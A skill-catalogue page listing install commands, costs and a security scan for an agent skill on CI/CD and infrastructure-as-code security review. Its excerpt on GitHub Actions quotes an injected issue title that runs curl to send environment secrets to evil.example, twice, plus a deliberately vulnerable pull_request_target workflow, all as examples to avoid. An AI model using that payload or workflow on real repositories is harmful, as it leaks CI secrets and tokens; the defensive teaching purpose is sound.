Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add makifbaysal/tasktrooper --skill ci-cd-and-iac-securitygit clone --depth 1 https://github.com/makifbaysal/tasktrooperWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/makifbaysal/tasktrooper/ci-cd-and-iac-security)<a href="https://agentmods.dev/skills/makifbaysal/tasktrooper/ci-cd-and-iac-security"><img src="https://agentmods.dev/badge/skills/makifbaysal/tasktrooper/ci-cd-and-iac-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/makifbaysal/tasktrooper/ci-cd-and-iac-security"><img src="https://agentmods.dev/badge/skills/makifbaysal/tasktrooper/ci-cd-and-iac-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.01911 |
| Opus 5.5 | $0.00022 | $0.00764 |
| Sonnet 5.5 | $0.00011 | $0.00382 |
| Haiku 4.5 | $0.00006 | $0.00191 |
Grade B, and why
ci-cd-and-iac-security scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
- **Remote code at build:** `curl … | sh` of an unpinned URL; `ADD https://…` without `--checksum`. Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# ❌ an issue titled a"; curl -sd "$(env)" evil.example; " runs in the shell How it starts
The opening of the file, as written. The whole thing — 115 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CI/CD and Infrastructure-as-Code Security
Overview
A workflow file is code that runs with the repository's secrets and write token; an IaC file is the network and identity boundary of production. Both are reviewed as code. But IaC scanners produce long lists of hardening advice — this review reports only what an attacker can actually use.
Core principle: ask who can trigger it, what untrusted data reaches it, and what it holds (secrets, write tokens, cloud roles). A finding needs all three.
1. GitHub Actions — Untrusted Triggers
Events a stranger can cause: pull_request_target, issue_comment, issues, discussion, workflow_run (downstream of a fork PR), pull_request_review(_comment). pull_request from a fork runs without secrets and with a read-only token. workflow_dispatch inputs come from people with write access — excluded.
The pwn request — CRITICAL, a blocking category:
# ❌ fork code runs with secrets and a write token
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@<sha>
with: { ref: "${{ github.event.pull_request.head.sha }}" }
- run: npm ci && npm test # install scripts and tests from the fork
env: { NPM_TOKEN: "${{ secrets.NPM_TOKEN }}" }
# ✅ untrusted code runs under pull_request (no secrets); privileged work happens
# in a separate workflow that never executes PR-supplied code
on: pull_request
Same shape: workflow_run downloading an artifact built from a fork and executing or trusting it (artifact poisoning).
2. GitHub Actions — Expression Injection
# ❌ an issue titled a"; curl -sd "$(env)" evil.example; " runs in the shell
- run: echo "New issue: ${{ github.event.issue.title }}"
# ✅ pass through the environment; the shell sees data, not code
- run: echo "New issue: $TITLE"
env: { TITLE: "${{ github.event.issue.title }}" }
Attacker-controlled contexts: issue/PR/comment/review titles and bodies, github.head_ref, github.event.pull_request.head.ref/label, commit messages and author names, discussion text. The same applies inside actions/github-script's script: and to values written into $GITHUB_ENV or $GITHUB_OUTPUT — an attacker-written GITHUB_ENV line can set NODE_OPTIONS, LD_PRELOAD or BASH_ENV for every later step.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 115 lines · 55 tokens per session scan B e2f62739fe82
ci-cd-and-iac-security is a skill published in the GitHub repository makifbaysal/tasktrooper (113 stars, last pushed yesterday), licensed Apache-2.0. It adds 55 tokens to every session and 1,911 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it B with 2 findings (downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-10-09.
Other skills, from other repositories
flow-nexus-platform
Comprehensive Flow Nexus platform management - authentication, sandboxes, app deployment, payments, and challenges.
agent-resource-allocator
Agent skill for resource-allocator - invoke with $agent-resource-allocator.
flow-nexus-swarm
Cloud-based AI swarm deployment and event-driven workflow automation with Flow Nexus platform.
Verification & Quality Assurance
Comprehensive truth scoring, code quality verification, and automatic rollback system with 0.95 accuracy threshold for ensuring high-quality agent outputs and codebase reliability.
agent-workflow-automation
Agent skill for workflow-automation - invoke with $agent-workflow-automation.
agent-github-modes
Agent skill for github-modes - invoke with $agent-github-modes.